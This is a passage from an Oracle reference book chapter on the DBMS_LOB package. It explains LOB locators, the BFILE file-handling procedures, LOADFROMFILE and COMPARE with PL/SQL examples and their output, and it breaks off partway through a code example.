This is the output of the script:

Length of Chapter 1: 31

8.2.3.2 The RETURNING clause

You can avoid the second trip to the database (i.e., the SELECT of the LOB locator after the INSERT)by using a RETURNING clause in the INSERT statement. Using this feature, perform the INSERT operation and the LOB locator value for the new row in a single operation.

DECLARE
   chapter_loc        CLOB;
   chapter_length     INTEGER;
BEGIN

   INSERT INTO my_book_text ( chapter_descr, chapter_text )
        VALUES ( 'Chapter 1', 'It was a dark and stormy night.' )
     RETURNING chapter_text INTO chapter_loc;

   chapter_length := DBMS_LOB.GETLENGTH( chapter_loc );

   DBMS_OUTPUT.PUT_LINE( 'Length of Chapter 1: ' || chapter_length );

END;
/

This is the output of the script:

Length of Chapter 1: 31

The RETURNING clause can be used in both INSERT and UPDATE statements.

8.2.3.3 NULL LOB locators can be a problem

Programs in the DBMS_LOB package expect to be passed a LOB locator that is not NULL. For example, the GETLENGTH program raises an exception when passed a LOB locator that is NULL.

DECLARE
   chapter_loc        CLOB;
   chapter_length     INTEGER;

BEGIN
      UPDATE  my_book_text
         SET  chapter_text = NULL
       WHERE  chapter_descr = 'Chapter 1'
   RETURNING  chapter_text INTO chapter_loc;

   chapter_length := DBMS_LOB.GETLENGTH( chapter_loc );

   DBMS_OUTPUT.PUT_LINE( 'Length of Chapter 1: ' || chapter_length );

EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE('OTHERS Exception ' || sqlerrm);

END;
/

This is the output of the script:

OTHERS Exception ORA-00600: internal error code, arguments: ...

When a BLOB, CLOB, or NCLOB column is set to NULL, both the LOB binary data and its LOB locator are NULL; this NULL LOB locator should not be passed to a program in the DBMS_LOB package.

8.2.3.4 NULL versus "empty" LOB locators

Oracle8 provides the built-in functions EMPTY_BLOB and EMPTY_CLOB to set BLOB, CLOB, and NCLOB columns to "empty." For example:

INSERT INTO my_book_text ( chapter_descr, chapter_text )
     VALUES ( 'Table of Contents', EMPTY_CLOB() );

The LOB data is set to NULL. However, the associated LOB locator is assigned a valid locator value, which points to the NULL data. This LOB locator can then be passed to DBMS_LOB programs.

DECLARE
   chapter_loc      CLOB;
   chapter_length   INTEGER;

BEGIN
   INSERT INTO my_book_text (chapter_descr, chapter_text)
        VALUES ( 'Table of Contents', EMPTY_CLOB() )
     RETURNING chapter_text INTO chapter_loc;

   chapter_length := DBMS_LOB.GETLENGTH( chapter_loc );

   DBMS_OUTPUT.PUT_LINE
      ('Length of Table of Contents: ' || chapter_length);

EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE( 'OTHERS Exception ' || sqlerrm);

END;
/

This is the output of the script:

Length of Table of Contents: 0

Note that EMPTY_CLOB can be used to populate both CLOB and NCLOB columns. EMPTY_BLOB and EMPTY_CLOB can be called with or without empty parentheses.

NOTE: Do not populate BLOB, CLOB, or NCLOB columns with NULL values. Instead, use the EMPTY_BLOB or EMPTY_CLOB functions, which will populate the columns with a valid LOB locator and set the associated data to NULL.

Previous: 8.1 Getting Started with DBMS_LOB | Oracle Built-in Packages | Next: 8.3 DBMS_LOB Interface
8.1 Getting Started with DBMS_LOB | Book Index | 8.3 DBMS_LOB Interface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.3 DBMS_LOB Interface

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

8.3 DBMS_LOB Interface

This section describes the programs available through the DBMS_LOB packages in several categories.

8.3.1 Working with BFILEs

The following sections describe the programs in the DBMS_LOB package that perform operations on BFILE objects.

8.3.1.1 The DBMS_LOB.FILEEXISTS function

The FILEEXISTS function indicates whether the given BFILE locator points to a file that exists in the operating system. Here's the specification for this program:

FUNCTION DBMS_LOB.FILEEXISTS
   ( file_loc IN BFILE )
   RETURN INTEGER;

The file_loc parameter is the name of the file locator. The function returns one of the following values:

Value | Description
0 | The specified file does not exist
1 | The specified file exists

8.3.1.1.1 Exceptions

One of the following exceptions may be raised if the file_loc parameter contains an improper value (e.g., NULL):

 DBMS_LOB.NOEXIST_DIRECTORY
 DBMS_LOB.NOPRIV_DIRECTORY
 DBMS_LOB.INVALID_DIRECTORY

8.3.1.1.2 Restrictions

The FILEEXISTS function asserts a purity level with the RESTRICT_REFERENCES pragma.

 PRAGMA RESTRICT_REFERENCES (fileexists, WNDS, RNDS, WNPS, RNPS);

8.3.1.1.3 Examples

This block uses the FILEEXISTS function to see if chapter01.txt exists in the BOOK_TEXT directory:

DECLARE
   book_file_loc      BFILE := NULL;
   book_file_exists   BOOLEAN := FALSE;

BEGIN
   book_file_loc := BFILENAME( 'BOOK_TEXT', 'chapter01.txt' );
   book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc ) = 1;

   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE
         ('chapter01.txt exists in BOOK_TEXT directory');
   ELSE
      DBMS_OUTPUT.PUT_LINE
         ('chapter01.txt does not exist in BOOK_TEXT directory');
   END IF;
END;
/

This is the output of the script:

chapter01.txt exists in BOOK_TEXT directory

The following example selects the file locator for chapter01.txt from the my_book_files table and checks to see if the file exists:

INSERT INTO my_book_files ( file_descr, book_file )
     VALUES ('Chapter 1', BFILENAME('BOOK_TEXT', 'chapter01.txt') );

DECLARE
   book_file_loc      BFILE := NULL;
   book_file_exists   BOOLEAN := FALSE;
BEGIN
   book_file_loc := book_file ('Chapter 1');
   IF book_file_loc IS NOT NULL
   THEN
      book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc ) = 1;
   END IF;
   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE('Chapter 1 exists');
   ELSE
      DBMS_OUTPUT.PUT_LINE('Chapter 1 does not exist');
   END IF;
END;
/

This is the output of the script:

Chapter 1 exists

FILEEXISTS raises a VALUE_ERROR exception when passed a NULL file locator, so you should always include conditional logic and an exception section.

The next example raises the NOEXIST_DIRECTORY exception. This can occur if the directory alias does not exist, or if the user has not been granted READ privilege on the directory.

DECLARE
   book_file_loc	 BFILE := NULL;
   book_file_exists   BOOLEAN := FALSE;
BEGIN
   book_file_loc :=  BFILENAME( 'NON_EXISTENT_DIRECTORY', 'chapter01.txt' );
   book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc ) = 1;
   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE('chapter01.txt exists');
   ELSE
      DBMS_OUTPUT.PUT_LINE('chapter01.txt does not exist');
   END IF;
END;
/

Running this script results in this unhandled exception:

ORA-22285: non-existent directory or file for FILEEXISTS operation

If the directory exists and READ privileges have been granted to the user, but the specified file does not exist, FILEEXISTS returns zero.

DECLARE
   book_file_loc BFILE := NULL;

BEGIN
   book_file_loc := BFILENAME( 'BOOK_TEXT', 'non_existent_file.txt');

   IF DBMS_LOB.FILEEXISTS( book_file_loc ) = 0
   THEN
      DBMS_OUTPUT.PUT_LINE('non_existent_file.txt does not exist');
   END IF;

END;
/

This script produces the following:

non_existent_file.txt does not exist

FILEEXISTS can be called from SQL, for example:

SELECT DBMS_LOB.FILEEXISTS  ( BFILENAME ('BOOK_TEXT','chapter01.txt') )  fileexists
     FROM DUAL;

   FILEEXISTS
   ----------------
                  1

Calls to FILEEXISTS should trap and handle the NOEXIST_DIRECTORY exception (directory alias does not exist) and the VALUE_ERROR exception (input file locator is NULL).

8.3.1.2 The DBMS_LOB.FILEGETNAME procedure

Given a file locator, the FILEGETNAME procedure determines its associated directory alias and filename. The specification for this program follows:

PROCEDURE DBMS_LOB.FILEGETNAME
   ( file_loc IN BFILE,
     dir_alias OUT VARCHAR2,
     filename OUT VARCHAR2 );

Parameters are summarized in the following table.

Parameter | Description
file_loc | File locator
dir_alias | Directory alias for the file locator
filename | File name for the file locator

8.3.1.2.1 Exceptions

The following VALUE_ERROR exception is raised if the file_loc parameter contains an improper value (e.g., NULL):

INVALID_ARGVAL

8.3.1.2.2 Examples

The following example uses FILEGETNAME to get the directory alias and filename for the "Chapter 1" row in the my_book_files table:

INSERT INTO my_book_files (file_descr, book_file)
     VALUES ( 'Chapter 1', BFILENAME('BOOK_TEXT', 'chapter01.txt') );
DECLARE
   book_file_exists   BOOLEAN := FALSE;
   book_file_loc      BFILE := NULL;
   book_file_dir      VARCHAR2(30) := NULL;
   book_file_name     VARCHAR2(2000) := NULL;
BEGIN
   book_file_loc := book_file ('Chapter 1');
   IF book_file_loc IS NOT NULL
   THEN
      book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc ) = 1;
   END IF;
   IF book_file_exists
   THEN
      DBMS_LOB.FILEGETNAME
         (book_file_loc, book_file_dir, book_file_name);
      DBMS_OUTPUT.PUT_LINE ('File name is: ' || book_file_name);
      DBMS_OUTPUT.PUT_LINE
         ('File is in Oracle directory: ' || book_file_dir);
   ELSE
      DBMS_OUTPUT.PUT_LINE('Chapter 1 does not exist');
   END IF;
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE('OTHERS Exception ' || sqlerrm );
END;
/

This is the output of the script:

File name is: chapter01.txt
File is in Oracle directory: BOOK_TEXT

FILEGETNAME raises a VALUE_ERROR exception when passed a NULL file locator, so be sure to check the value of the file locator and/or include an exception handler.

Note that FILEGETNAME does not actually confirm that the physical file and directory alias exist. This can be done via FILEEXISTS.

8.3.1.3 The DBMS_LOB.FILEOPEN procedure

Given a file locator, the FILEOPEN procedure opens the BFILE for read-only access. Here's the header for this program:

PROCEDURE DBMS_LOB.FILEOPEN
   ( file_loc IN OUT BFILE,
     open_mode IN BINARY_INTEGER := FILE_READONLY  )

Parameters are summarized in the following table.

Parameter | Purpose
file_loc | File locator for the file to be opened
open_mode | Indicates that file access will be read-only; this parameter can be omitted from calls to FILEOPEN because the program assigns a default value of FILE_READONLY

8.3.1.3.1 Exceptions

The following types of exceptions can be raised by the FILEOPEN procedure:

NOEXIST_DIRECTORY

The directory alias associated with file_loc does not exist.

OPEN_TOOMANY

The number of open files exceeds the SESSION_MAX_OPEN_FILES limit.

INVALID_ARGVAL

The open_mode value is not FILE_READONLY.

INVALID_OPERATION

The file does not exist or the user does not have privileges to access the file.

VALUE_ERROR

The file_loc parameter contains an improper value (e.g., NULL).

8.3.1.3.2 Examples

This example uses the FILEOPEN procedure to check whether chapter01.txt exists in the BOOK_TEXT directory, then opens and closes the file:

DECLARE
   book_file_loc      BFILE := NULL;
   book_file_exists   BOOLEAN := FALSE;

BEGIN
   book_file_loc := BFILENAME('BOOK_TEXT','chapter01.txt');
   book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc ) = 1;

   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE('chapter01.txt exists');

      DBMS_OUTPUT.PUT_LINE('opening the file');
      DBMS_LOB.FILEOPEN( book_file_loc );

      DBMS_OUTPUT.PUT_LINE('closing the file');
      DBMS_LOB.FILECLOSE( book_file_loc );
   END IF;
END;
/

This is the output of the script:

chapter01.txt exists
opening the file
closing the file

The FILEOPEN procedure raises a VALUE_ERROR exception when passed to a NULL file. The procedure raises a NOEXIST_DIRECTORY exception when passed to a file locator associated with a nonexistent directory alias.

Note that it is possible to open the same file using two different file locators, for example:

DECLARE
   book_file_loc_1      BFILE := NULL;
   book_file_loc_2      BFILE := NULL;
   book_file_exists     BOOLEAN := FALSE;

BEGIN
   book_file_loc_1 := BFILENAME('BOOK_TEXT','chapter01.txt');
   book_file_loc_2 := BFILENAME('BOOK_TEXT','chapter01.txt');
   book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc_1 ) = 1;

   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE('chapter01.txt exists');

      DBMS_OUTPUT.PUT_LINE('opening the file via loc_1');
      DBMS_LOB.FILEOPEN( book_file_loc_1 );

      DBMS_OUTPUT.PUT_LINE('opening the file via loc_2');
      DBMS_LOB.FILEOPEN( book_file_loc_2 );

      DBMS_OUTPUT.PUT_LINE('closing the file via loc_1');
      DBMS_LOB.FILECLOSE( book_file_loc_1 );

      DBMS_OUTPUT.PUT_LINE('closing the file via loc_2');
      DBMS_LOB.FILECLOSE( book_file_loc_2 );

   END IF;
END;
/

This is the output of the script:

chapter01.txt exists
opening the file via loc_1
opening the file via loc_2
closing the file via loc_1
closing the file via loc_2

To avoid exceeding the SESSION_MAX_OPEN_FILES limit, include a matching call to the FILECLOSE procedure for each BFILE that is opened. When an exception occurs after opening a file, it is possible that execution continues without closing the file (i.e., the matching call to FILECLOSE is not executed due to abnormal termination). In this case, the file remains open, and we run the risk of exceeding the SESSION_MAX_OPEN_FILES limit. It is good practice to include a call to the FILECLOSEALL procedure within an exception handler whenever FILEOPEN is used. See the "Section 8.3.1.6, "The DBMS_LOB.FILECLOSEALL procedure"" section for details.

8.3.1.4 The DBMS_LOB.FILEISOPEN function

The FILEISOPEN function indicates whether the file was opened via the input file locator given by file_loc. The header for this program is,

FUNCTION DBMS_LOB.FILEISOPEN
   ( file_loc IN BFILE )
   RETURN INTEGER;

where file_loc is the file locator for the file to be opened. The function returns one of the following values:

Value | Description
0 | The file is not open via the given file locator.
1 | The file is open via the given file locator.

8.3.1.4.1 Exceptions

The FILEISOPEN function will raise the VALUE_ERROR exception if the file_loc parameter contains an improper value (e.g., NULL).

8.3.1.4.2 Restrictions

The program asserts a purity level with the RESTRICT_REFERENCES pragma.

PRAGMA RESTRICT_REFERENCES (fileisopen, WNDS, RNDS, WNPS, RNPS);

8.3.1.4.3 Examples

The following example uses the FILEISOPEN function to check whether chapter01.txt in the BOOK_TEXT directory is open. It opens the file if it is not already open.

DECLARE
   book_file_loc      BFILE := NULL;
   book_file_exists   BOOLEAN := FALSE;

BEGIN
   book_file_loc := BFILENAME('BOOK_TEXT','chapter01.txt');
   book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc ) = 1;

   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE('chapter01.txt exists');

      IF DBMS_LOB.FILEISOPEN( book_file_loc) = 1
      THEN
         DBMS_OUTPUT.PUT_LINE('file is open');

      ELSE
         DBMS_OUTPUT.PUT_LINE('file is not open');

         DBMS_OUTPUT.PUT_LINE('opening the file');
         DBMS_LOB.FILEOPEN( book_file_loc );

         IF DBMS_LOB.FILEISOPEN( book_file_loc) = 1
         THEN
            DBMS_OUTPUT.PUT_LINE('file is open');
            DBMS_OUTPUT.PUT_LINE('closing the file');
            DBMS_LOB.FILECLOSE( book_file_loc );
         END IF;
      END IF;

   END IF;

EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE('OTHERS Exception ' || sqlerrm );
END;
/

This is the output of the script:

chapter01.txt exists
file is not open
opening the file
file is open
closing the file

The next example assigns two file locators to the same file, chapter01.txt, in the BOOK_TEXT directory. It opens the file using the first locator. When called with the first locator, FILEISOPEN indicates that the file is open. However, FILEISOPEN indicates that the file is not open when called with the second locator. Hence, FILEISOPEN indicates whether a file is open with respect to a specific locator.

DECLARE
   book_file_loc_1    BFILE := NULL;
   book_file_loc_2    BFILE := NULL;
   book_file_exists   BOOLEAN := FALSE;
   PROCEDURE check_open (loc IN BFILE, descr IN VARCHAR2)
   IS
BEGIN
   IF DBMS_LOB.FILEISOPEN (loc) = 1
   THEN
      DBMS_OUTPUT.PUT_LINE ('file is open via ' || descr);
   ELSE
      DBMS_OUTPUT.PUT_LINE ('file is not open via ' || descr);
   END IF;
END
BEGIN
   book_file_loc_1 := BFILENAME ('BOOK_TEXT', 'chapter01.txt');
   book_file_loc_2 := BFILENAME ('BOOK_TEXT', 'chapter01.txt');
   book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc_1 ) = 1;
   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE('chapter01.txt exists');
      IF DBMS_LOB.FILEISOPEN( book_file_loc_1 ) = 1
      THEN
         DBMS_OUTPUT.PUT_LINE('file is open via loc_1');
      ELSE
         DBMS_OUTPUT.PUT_LINE('file is not open via loc_1');
         DBMS_OUTPUT.PUT_LINE('opening the file via loc_1');
         DBMS_LOB.FILEOPEN( book_file_loc_1 );
         check_open (book_file_loc_1, 'loc_1');
         check_open (book_file_loc_2, 'loc_2');
         DBMS_OUTPUT.PUT_LINE('closing the file via loc_1');
         DBMS_LOB.FILECLOSE( book_file_loc_1 );
      END IF;
   END IF;
END;
/

This is the output of the script:

chapter01.txt exists
file is not open via loc_1
opening the file via loc_1
file is open via loc_1
file is not open via loc_2
closing the file via loc_1

FILEISOPEN raises a VALUE_ERROR exception when passed a NULL file locator. On the other hand, FILEISOPEN does not raise an exception when passed a file locator having a nonexistent directory alias or nonexistent file.

8.3.1.5 The DBMS_LOB.FILECLOSE procedure

The FILECLOSE procedure is used to close a file that has been opened via the input file locator indicated by the file_loc parameter. The header for this program is,

PROCEDURE DBMS_LOB.FILECLOSE ( file_loc IN OUT BFILE );

where file_loc is the file locator for the file to be opened.

8.3.1.5.1 Exceptions

The FILECLOSE procedure may raise a VALUE_ERROR exception if the file_loc parameter contains an improper value (e.g., NULL).

8.3.1.5.2 Examples

The following example demonstrates that FILECLOSE can be called with a locator for a file that has not been opened:

DECLARE
   book_file_loc      BFILE := NULL;
   book_file_exists   BOOLEAN := FALSE;
BEGIN
   book_file_loc := BFILENAME('BOOK_TEXT','chapter01.txt');
   book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc ) = 1;

   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE('chapter01.txt exists');

      IF DBMS_LOB.FILEISOPEN( book_file_loc ) = 1
      THEN
         DBMS_OUTPUT.PUT_LINE('file is open');
      ELSE
         DBMS_OUTPUT.PUT_LINE('file is not open');
      END IF;

      DBMS_OUTPUT.PUT_LINE('closing the file');
      DBMS_LOB.FILECLOSE( book_file_loc );

   END IF;
END;
/

This is the output of the script:

chapter01.txt exists
file is not open
closing the file

The FILECLOSE procedure can be called with a locator for a nonexistent file or directory, for example:

DECLARE
   book_file_loc      BFILE := NULL;
BEGIN
   book_file_loc :=
      BFILENAME('NON_EXISTENT_DIRECTORY','non_existent_file.txt');

   DBMS_OUTPUT.PUT_LINE
      ('closing non_existent_file.txt in NON_EXISTENT_DIRECTORY');
   DBMS_LOB.FILECLOSE( book_file_loc );
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE('OTHERS Exception ' || sqlerrm );
END;
/

This is the output of the script:

closing non_existent_file.txt in NON_EXISTENT_DIRECTORY

FILECLOSE raises a VALUE_ERROR exception when passed a NULL file locator.

See the FILEOPEN and FILECLOSEALL sections for other examples of FILECLOSE usage.

8.3.1.6 The DBMS_LOB.FILECLOSEALL procedure

The FILECLOSEALL procedure is used to close all BFILEs that are open within a session. Here's the header for this program:

PROCEDURE DBMS_LOB.FILECLOSEALL;

8.3.1.6.1 Exceptions

The FILECLOSEALL procedure raises an UNOPENED_FILE exception if no files are open.

8.3.1.6.2 Examples

When an exception occurs after opening a file, it is possible that execution continues without closing the file (i.e., a matching call to FILECLOSE is not executed due to abnormal termination of a block). In this case, the file remains open, and we run the risk of exceeding the SESSION_MAX_OPEN_FILES limit. It is good practice to include a call to FILECLOSEALL within an exception handler whenever FILEOPEN is used.

The following anonymous block shows how you might construct an exception section that will close any open files:

DECLARE
   book_file_loc      BFILE := NULL;
   book_file_exists   BOOLEAN := FALSE;
   x NUMBER;
BEGIN
   book_file_loc := BFILENAME('BOOK_TEXT','chapter01.txt');
   book_file_exists := DBMS_LOB.FILEEXISTS( book_file_loc ) = 1;
   IF book_file_exists
   THEN
      DBMS_OUTPUT.PUT_LINE ('opening chapter01.txt');
      DBMS_LOB.FILEOPEN (book_file_loc);
      /* Intentionally raise a ZERO_DIVIDE exception */
      x := 1 / 0;
      DBMS_LOB.FILECLOSE( book_file_loc );
   END IF;
EXCEPTION
   WHEN OTHERS
   THEN
      BEGIN
         DBMS_OUTPUT.PUT_LINE ('Clean up using FILECLOSEALL');
         DBMS_LOB.FILECLOSEALL;
      EXCEPTION
         WHEN DBMS_LOB.UNOPENED_FILE
         THEN
            DBMS_OUTPUT.PUT_LINE
               ('No files to close, raising the UNOPENED_FILE exception.');
         WHEN OTHERS
         THEN
            DBMS_OUTPUT.PUT_LINE ('OTHERS Exception ' || sqlerrm );
      END;
END;
/

This is the output of the script:

opening  chapter01.txt
Clean up using FILECLOSEALL

8.3.1.7 The DBMS_LOB.LOADFROMFILE procedure

The LOADFROMFILE procedure is used to load all or part of a external LOB (source BFILE) to a destination internal LOB. This is the procedure used to load binary data stored in operating system files into internal LOBs, which reside in the database. The specification for this program is overloaded as follows:

PROCEDURE DBMS_LOB.LOADFROMFILE
   (dest_lob IN OUT BLOB | CLOB CHARACTER SET ANY_CS,
    src_lob IN BFILE,
    amount IN INTEGER,
    dest_offset IN INTEGER := 1,
    src_offset IN INTEGER := 1);

The overloaded specification allows LOADFROMFILE to be used with BLOBs or CLOBs. The clause ANY_CS in the second specification allows acceptance of either CLOB or NCLOB locators as input.

Parameters are summarized in the following table.

Parameter | Description
dest_lob | Locator for the destination internal LOB
src_lob | File locator for the source external LOB
amount | Number of bytes to copy from the source BFILE
dest_offset | Location of the byte (BLOB) or character (CLOB, NCLOB) in the destination LOB at which the copy operation begins; the default value is 1
src_offset | Location of the byte in the source BFILE at which the load operation begins; the default value is 1

8.3.1.7.1 Exceptions

The LOADFROMFILE procedure raises a VALUE_ERROR exception if dest_lob, src_lob, or amount are NULL or invalid.

An INVALID_ARGVAL exception is raised if any of the following conditions are true:

  • src_offset < 1 or src_offset > LOBMAXSIZE

  • dest_offset < 1 or dest_offset > LOBMAXSIZE

  • amount < 1 or amount > LOBMAXSIZE

LOADFROMFILE raises the ORA-22993 exception (specified input amount is greater than actual source amount) if the end of the source BFILE is reached before the specified amount of bytes has been copied.

8.3.1.7.2 Examples

The following example loads the CLOB chapter_text column of the my_book_text table with the contents of the first 100 bytes of the file chapter01.txt in the BOOK_TEXT directory.

Note that the update of the chapter_text column occurs without the issue of an UPDATE statement. LOADFROMFILE accomplishes this via the chapter_text locator, which has been selected FOR UPDATE. LOB locators and DBMS_LOB allow changes to LOB columns in Oracle tables without issuing INSERT or UPDATE statements.

If you want to take this approach, you must lock the row that contains the LOB prior to modification. The best way to obtain this lock is to use the FOR UPDATE clause in the SELECT statement (in this example, this translates to calling the book_text_forupdate function):

INSERT INTO my_book_text (chapter_descr, chapter_text)
     VALUES ('Chapter 1', EMPTY_CLOB());
COMMIT;

DECLARE
   v_text_loc   CLOB;
   v_file_loc   BFILE;
BEGIN
   v_text_loc := book_text_forupdate ('Chapter 1');
   v_file_loc := BFILENAME('BOOK_TEXT','chapter01.txt');
   DBMS_LOB.LOADFROMFILE (v_text_loc, v_file_loc, 100);
   COMMIT;
END;
/
SET LONG 100
COL chapter_descr FOR A15
COL chapter_text FOR A40 WORD_WRAPPED
SELECT chapter_descr, chapter_text
  FROM my_book_text
 WHERE chapter_descr = 'Chapter 1';

This is the output of the script:

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 1       It was a dark and stormy night.
                Suddenly a scream rang out.  An
                EXCEPTION had not been handled.

The next example also loads the CLOB chapter_text column of the my_book_text table with the contents of the first 100 bytes of the file chapter01.txt in the BOOK_TEXT directory. This time, the LOB locator is not selected FOR UPDATE, but has been returned via the RETURNING clause.

DECLARE
   v_text_loc   CLOB;
   v_file_loc   BFILE;
BEGIN
   INSERT INTO my_book_text (chapter_descr, chapter_text)
        VALUES ('Chapter 1', EMPTY_CLOB )
     RETURNING chapter_text INTO v_text_loc;

   v_file_loc := BFILENAME('BOOK_TEXT','chapter01.txt');

   DBMS_LOB.LOADFROMFILE(v_text_loc, v_file_loc, 100);

   COMMIT;
END;
/

SET LONG 100

COL chapter_descr FOR A15
COL chapter_text FOR A40 WORD_WRAPPED

SELECT chapter_descr, chapter_text
  FROM my_book_text
 WHERE chapter_descr = 'Chapter 1';

This is the output of the script:

CHAPTER_DESCR   CHAPTER_TEXT
--------------- ----------------------------------------
Chapter 1       It was a dark and stormy night.
                Suddenly a scream rang out.  An
                EXCEPTION had not been handled.

This example loads the BLOB diagram column of the by_book_diagrams table with the contents of the file ch01_01.bmp in the IMAGES directory. The LOB locator has been returned via the RETURNING clause.

Note that the update of the diagram column occurs without the issue of an UPDATE statement. LOADFROMFILE accomplishes this via the diagram locator, which has been returned by the RETURNING clause. LOB locators and DBMS_LOB allow changes to LOB columns in Oracle tables without issuing INSERT or UPDATE statements.

DECLARE
   v_file_loc       BFILE;

   v_diagram_loc    BLOB;
   v_diagram_size   INTEGER;
BEGIN
   v_file_loc := BFILENAME('IMAGES','ch01_01.bmp');

   v_diagram_size := DBMS_LOB.GETLENGTH(v_file_loc);
   DBMS_OUTPUT.PUT_LINE('Diagram size: ' || v_diagram_size);

   DBMS_OUTPUT.PUT_LINE('Inserting Empty Diagram Row');
   INSERT INTO my_book_diagrams (chapter_descr, diagram_no, diagram)
        VALUES ( 'Chapter 1', 1, EMPTY_BLOB )
     RETURNING diagram INTO v_diagram_loc;

   DBMS_OUTPUT.PUT_LINE('Loading Diagram From File');
   DBMS_LOB.LOADFROMFILE(v_diagram_loc, v_file_loc, v_diagram_size);

   COMMIT;
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE('OTHERS Exception ' || sqlerrm);

END;
/

SELECT chapter_descr,
       diagram_no,
       dbms_lob.getlength(diagram) diagram_size
  FROM my_book_diagrams
 WHERE chapter_descr = 'Chapter 1';

This script produces the following:

Diagram size: 481078
Inserting Empty Diagram Row
Loading Diagram From File

CHAPTER_DESCR   DIAGRAM_NO DIAGRAM_SIZE
--------------- ---------- ------------
Chapter 1                1       481078

8.3.2 Reading and Examining LOBs

The following sections describe the programs in the DBMS_LOB package that are used to read and examine LOBs.

8.3.2.1 The DBMS_LOB.COMPARE function

The COMPARE function is used to compare two LOBs that are of the same type. Parts of LOBs can also be compared. The specification for this program takes the following forms for each LOB type that may be compared:

FUNCTION DBMS_LOB.COMPARE
   (lob_1 IN BLOB | CLOB CHARACTER SET ANY_CS,
    lob_2 IN BLOB | CLOB CHARACTER SET ANY_CS,
    amount IN INTEGER := 4294967295,
    offset_1 IN INTEGER := 1,
    offset_2 IN INTEGER := 1)
    RETURN INTEGER;

FUNCTION DBMS_LOB.COMPARE
   (lob_1 IN BFILE,
    lob_2 IN BFILE,
    amount IN INTEGER,
    offset_1 IN INTEGER := 1,
    offset_2 IN INTEGER := 1)
    RETURN INTEGER;

The overloaded specification allows COMPARE to be used with all types of LOBs. The clause ANY_CS in the specification allows either CLOB or NCLOB locators as input.

Parameters are summarized in the following table.

Parameter | Description
lob_1 | Locator for the first LOB to be compared
lob_2 | Locator for the second LOB to be compared
amount | Number of bytes (BFILE, BLOB) or characters (CLOB, NCLOB) to compare
offset_1 | Location of the byte (BFILE, BLOB) or character (CLOB, NCLOB) in the first LOB at which the comparison begins; the default value is 1
offset_2 | Location of the byte (BFILE, BLOB) or character (CLOB, NCLOB) in the second LOB at which the comparison begins; the default value is 1

The function returns one of the following values:

Value | Description
Zero | LOBs match exactly over the offsets and amountspecified.
Not Zero | LOBs do not match exactly over the offsets and amountspecified.
NULL | Either amount, offset_1oroffset_2,is less than 1, or amount, offset_1, or offset_2is greater thanLOBMAXSIZE.

8.3.2.1.1 Exceptions

The COMPARE function may raise the following exceptions:

NOEXIST_DIRECTORY

For BFILEs.

UNOPENED_FILE

For BFILEs. Files must be open before comparison.

NOPRIV_DIRECTORY

For BFILEs.

INVALID_DIRECTORY

For BFILEs.

INVALID_OPERATION

For BFILEs.

8.3.2.1.2 Restrictions

The program asserts a purity level with the RESTRICT_REFERENCES pragma.

PRAGMA RESTRICT_REFERENCES (compare, WNDS, RNDS, WNPS, RNPS);

8.3.2.1.3 Examples

The following example compares two BFILE locators that are pointing to the same file. Note that for BFILEs we must provide a number of bytes (in the amount parameter) to compare, which is determined via the GETLENGTH function. Note also that for BFILES we must first open the files.

DECLARE
   v_file_loc_1      BFILE;
   v_file_1_length   INTEGER;

   v_file_loc_2      BFILE;
BEGIN
   v_file_loc_1 := BFILENAME ('IMAGES', 'ourlogo.bmp');
   v_file_loc_2 := BFILENAME ('IMAGES', 'ourlogo.bmp');

   DBMS_LOB.FILEOPEN(v_file_loc_1);
   DBMS_LOB.FILEOPEN(v_file_loc_2);

   v_file_1_length := DBMS_LOB.GETLENGTH( v_file_loc_1);

   IF DBMS_LOB.COMPARE
         ( v_file_loc_1, v_file_loc_2, v_file_1_length) = 0
   THEN
      DBMS_OUTPUT.PUT_LINE('file_loc_1 equals file_loc_2');
   ELSE
      DBMS_OUTPUT.PUT_LINE('file_loc_1 is not equal to file_loc_2');
   END IF;

   DBMS_LOB.FILECLOSEALL;
END;
/

This is the output of the script:

file_loc_1 equals file_loc_2

This example compares two diagrams from the my_book_diagrams table:

DECLARE
   CURSOR diagram_cur (num IN INTEGER)
   IS
   SELECT diagram
     FROM my_book_diagrams
    WHERE chapter_descr = 'Chapter 1'
      AND diagram_no = num;
   v_diagram_1_loc   BLOB;
   v_diagram_2_loc   BLOB;
BEGIN
   OPEN diagram_cur (1);
   FETCH diagram_cur INTO v_diagram_1_loc;
   CLOSE diagram_cur;

   OPEN diagram_cur (2);
   FETCH diagram_cur INTO v_diagram_1_loc;
   CLOSE diagram_cur;

   IF DBMS_LOB.COMPARE (v_diagram_1_loc, v_diagram_2_loc) = 0
   THEN
      DBMS_OUTPUT.PUT_LINE ('diagrams are equal');
   ELSE
      DBMS_OUTPUT.PUT_LINE ('diagrams are different');
